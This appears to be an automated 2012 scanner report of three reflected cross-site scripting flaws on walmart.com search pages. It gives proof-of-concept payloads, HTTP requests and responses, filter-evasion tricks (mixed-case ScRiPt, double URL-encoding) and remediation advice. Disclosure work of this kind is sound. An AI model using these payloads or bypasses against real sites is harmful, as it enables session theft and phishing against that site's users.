XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, www.walmart.com
Report generated at Sat Sep 01 08:32:42 EDT 2012.International in scope and free for public use
XSS.Cx is a Crawler and Injection Reporting Tool
1. Cross-site scripting (reflected)
1.1. http://www.walmart.com/search/ [search_query parameter]
1.2. http://www.walmart.com/search/dynamicupdate [request_tabs parameter]
1.3. http://www.walmart.com/search/search-ng.do [search_query parameter]
1. Cross-site scripting (reflected)
There are 3 instances of this issue:
Issue background
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:- Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
- User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
1.1. http://www.walmart.com/search/ [search_query parameter] next
Summary
Severity: | High |
Confidence: | Certain |
Host: | http://www.walmart.com |
Path: | /search/ |
Issue detail
The value of the search_query request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9662f</script><scriptThis proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.Request
GET /search/?ic=16_0&search Host: www.walmart.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close |
Response
HTTP/1.1 404 Not Found Server: Apache Content-Type: text/html;charset=ISO Date: Thu, 29 Dec 2011 16:18:32 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: dcenv=ndc; path=/; domain=walmart.com Set-Cookie: SSLB=0; path=/; domain=.walmart.com Content-Length: 229382 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR <html lang="en-US"> <head> <title> - Walmart</tit ...[SNIP]... T.page.isPreferredSt WALMART.page.writeBr WALMART.cart.wmHost = "//www.walmart.com"; WALMART.page.search_query = "tv cd palyer blueray9662f</script><script WALMART.page.isTypeA WALMART.page.isSearc WALMART.page.isPolar ...[SNIP]... |
1.2. http://www.walmart.com/search/dynamicupdate [request_tabs parameter] previous next
Summary
Severity: | High |
Confidence: | Certain |
Host: | http://www.walmart.com |
Path: | /search/dynamicupdate |
Issue detail
The value of the request_tabs request parameter is copied into the HTML document as plain text between tags. The payload db0b7<ScRiPt>alert(1)<This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".
Remediation detail
Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.Request
GET /search/dynamicupdate Host: www.walmart.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Keep-Alive: 115 Proxy-Connection: keep-alive Content-Type: application/json X-Requested-With: XMLHttpRequest Referer: http://www.walmart.com Cookie: SSLB=0; SSID=BQAkQBsAAAAAAAA Content-Length: 10 |
Response
HTTP/1.1 200 OK Server: Apache Pragma: no-cache Last-Modified: Thu, 29 Dec 2011 15:58:51 GMT Content-Length: 86 Content-Type: application/json;charset Cache-Control: no-cache, no-store Expires: Thu, 29 Dec 2011 15:58:51 GMT Date: Thu, 29 Dec 2011 15:58:51 GMT Connection: close Vary: Accept-Encoding {"All":"1097","Online": |
1.3. http://www.walmart.com/search/search-ng.do [search_query parameter] previous
Summary
Severity: | High |
Confidence: | Certain |
Host: | http://www.walmart.com |
Path: | /search/search-ng.do |
Issue detail
The value of the search_query request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 33829%253c%252fScRiPtThis proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of the search_query request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.Request
GET /search/search-ng.do Host: www.walmart.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.walmart.com/ Cookie: SSLB=0; SSID=BQAkQBsAAAAAAAA Content-Length: 10 |
Response
HTTP/1.1 200 OK Server: Apache Pragma: no-cache Last-Modified: Thu, 29 Dec 2011 15:59:17 GMT Content-Length: 289400 Content-Type: text/html;charset=ISO Cache-Control: no-cache Expires: Thu, 29 Dec 2011 15:59:17 GMT Date: Thu, 29 Dec 2011 15:59:17 GMT Connection: close Vary: Accept-Encoding <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR <html lang="en-US"> <head> <script> var t_page_start = new Date().getTime(); (function() { var b = document.c ...[SNIP]... mpaignId(); s_omni.prop1="Search"; s_omni.prop2="Search - Partial Match"; s_omni.prop3="Search"; s_omni.prop4="Search"; s_omni.prop5="Search"; s_omni.prop8="Search"; s_omni.prop14="tv cd palyer blueray33829</ScRiPt ><ScRiPt>alert(1)</ScRiPt s_omni.prop16="757"; s_omni.prop31="Standard Search: Default"; s_omni.prop37=""; s_omni.prop39="Store Not Selected"; s_omni.prop41="Entire Site"; s_omni.prop42="Search"; s_omni.prop45="Standard Sear ...[SNIP]... |
Report generated by XSS.Cx at Sat Sep 01 08:32:42 EDT 2012.